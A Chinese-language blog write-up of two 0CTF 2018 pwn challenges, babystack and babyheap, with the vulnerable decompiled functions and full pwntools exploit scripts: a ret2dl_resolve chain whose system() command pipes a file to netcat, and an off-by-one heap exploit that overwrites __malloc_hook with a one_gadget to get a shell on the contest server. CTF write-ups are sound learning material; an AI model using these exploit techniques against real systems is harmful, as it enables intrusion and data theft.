0ctf2018 pwn

Author Avatar
hac425 4月 03, 2018
  • 在其它设备中阅读本文章

前言

0ctf2018pwn 做一个总结

正文

babystack

漏洞

非常直接的 栈溢出

1
2
3
4
5
6
ssize_t sub_804843B()
{
char buf; // [esp+0h] [ebp-28h]
return read(0, &buf, 0x40u);
}

这个题的难点在于 用 python 启动了该程序同时过滤了 stdoutstdout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python -u
# encoding: utf-8
from pwn import *
import random, string, subprocess, os, sys
from hashlib import sha256
os.chdir(os.path.dirname(os.path.realpath(__file__)))
def proof_of_work():
chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
print chal
sol = sys.stdin.read(4)
if len(sol) != 4 or not sha256(chal + sol).digest().startswith('\0\0\0'):
exit()
def exec_serv(name, payload):
p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
p.stdin.write(payload)
p.wait()
if __name__ == '__main__':
proof_of_work()
payload = sys.stdin.read(0x100)
exec_serv('./babystack', payload)

利用

无输出,使用 ret to dl_resolve.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#coding:utf-8
import sys
sys.path.append('./roputils')
import roputils
from pwn import *
from hashlib import sha256
context.terminal = ['tmux', 'splitw', '-h']
fpath = './babystack'
offset = 44 # 离覆盖 eip 需要的距离
command_len = 60 # system 执行的命令长度
readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B
p = process(fpath)
rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')
# step1 : write shStr & resolve struct to bss
# buf1 = rop.retfill(offset)
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)
log.info("首先 rop 调用 read, 往 .bss 布置数据")
buf2 = 'head exp.py | nc 127.0.0.1 8888\x00'
buf2 += rop.fill(command_len, buf2)
buf2 += rop.dl_resolve_data(addr_bss+command_len, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)
log.info("布置 bss, 在 bss+command_len 处解析出 system 的地址")
#step3 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*offset + rop.dl_resolve_call(addr_bss+command_len, addr_bss)
p.send(buf3)
log.info("布置好后,通过 dl_resolve_call, 调用 system")
p.interactive()

babyheap

漏洞

漏洞位于 update 函数时,可以往分配的内存多写入一字节的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __fastcall update(obj *table)
{
unsigned __int64 size; // rax
signed int idx; // [rsp+18h] [rbp-8h]
int size_; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
idx = get_num();
if ( idx >= 0 && idx <= 15 && table[idx].inused == 1 )
{
printf("Size: ");
LODWORD(size) = get_num();
size_ = size;
if ( size > 0 )
{
size = table[idx].size + 1; // size = 分配的内存size + 1
if ( size_ <= size )
{
printf("Content: ");
read_to_buf(table[idx].heap, size_); // 可以溢出一个字节
LODWORD(size) = printf("Chunk %d Updated\n", idx);
}
}
}
else
{
LODWORD(size) = puts("Invalid Index");
}
return size;
}

利用

  • 利用 off-by-oneoverlap chunk. 然后利用 分配 unsorted bin 的切割机制,拿到 libc 地址
  • 再次 overlap chunk ,构造 0x40 大小的 fastbin ,修改 0x40 大小的 fastbin 的第一个chunkfd0x61
  • 分配一个 0x40fastbin, 此时 main_arean->fastbin 中就会出现 0x61, 用来 fastbin 攻击
  • 再次 overlap chunk ,构造 0x60 大小的 fastbin, 修改 0x60 大小的 fastbin 的第一个 chunkfdmain_arean->fastbin
  • fastbin attack分配到 main_arean, 然后修改 main_arean->top__malloc_hook - 0x10, 然后分配内存,修改 __malloc_hookone_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info')
env = {"LD_PRELOAD": "./libc-2.24.so"}
# p = process("./babyheap", aslr=0)
p = remote("202.120.7.204", 127)
def allocate(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def update(idx, size, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
sleep(0.1)
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
sleep(0.1)
p.send(content)
def delete(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def view(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
code_base = 0x555555554000
gdb_command = '''
# bp %s
directory ~/workplace/glibc-2.23/malloc/
x/30xg 0x429C0F050000
c
''' %(hex(code_base + 0x000FA9))
# gdb.attach(p, gdb_command)
# pause()
allocate(0x18) # 0
allocate(0x38) # 1
allocate(0x48) # 2
allocate(0x18) # 3
update(0,0x19, "a" * 0x18 + "\x91")
delete(1)
allocate(0x38) # 1
view(2)
p.recvuntil("]: ")
lib = ELF("./libc-2.24.so")
# libc = u64(p.recv(6) + "\x00" * 2) - 0x3c4b78
libc = u64(p.recv(6) + "\x00" * 2) - lib.symbols['__malloc_hook'] - 0x68
malloc_hook = lib.symbols['__malloc_hook'] + libc
# fast_target = libc + 0x3c4b30
fast_target = malloc_hook + 0x20
bins = malloc_hook + 0x68
one_gad = libc + 0x3f35a
# bins = libc + 0x3c4b78
# bins = malloc_hook
log.info("libc: " + hex(libc))
allocate(0x58) # 4
allocate(0x28) # 5
allocate(0x38) # 6
allocate(0x48) # 7
allocate(0x18) # 8
allocate(0x18) # 9
delete(5)
delete(6)
delete(8)
update(3,0x19, "a" * 0x18 + "\xf1")
delete(4)
allocate(0x58) # 4
allocate(0x18) # 5
allocate(0x48) # 6
# update(4,0x59, "a" * 0x59 + "\x31")
update(6, 0x8, p64(0x61))
update(4, 0x59, "a" * 0x58 + "\x41")
# pause()
allocate(0x38) # 8
allocate(0x28) # 10
allocate(0x18) # 11
allocate(0x58) # 12
allocate(0x58) # 13
# pause()
payload = p64(0x0)
payload += p64(0xc1)
update(7,len(payload), payload)
log.info("make 0x180's size 0xc1")
delete(11)
pause()
allocate(0x48) # 11
allocate(0x58) # 14
update(14, 0x10, p64(0) + p64(0x0000000000000061))
delete(12)
update(14, 0x18, p64(0) + p64(0x0000000000000061) + p64(fast_target))
delete(0)
# delete(1)
delete(2)
allocate(0x58) # 0
allocate(0x58) # 2
payload = 'a' * 0x38
payload += p64(malloc_hook-0x10)
payload += p64(bins) * 3
print hex(len(payload))
update(2, len(payload), payload)
delete(0)
allocate(0x28)
payload = "a" * 8
payload += p64(0)
payload += p64(0x21)
payload += p64(bins) * 2
update(11,len(payload), payload)
allocate(0x28)
update(12, 8, p64(one_gad))
log.info("done")
# pause()
allocate(0x10)
p.interactive()
# x/30xg 0x429C0F050000

本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2018/04/03/0ctf2018_pwn.html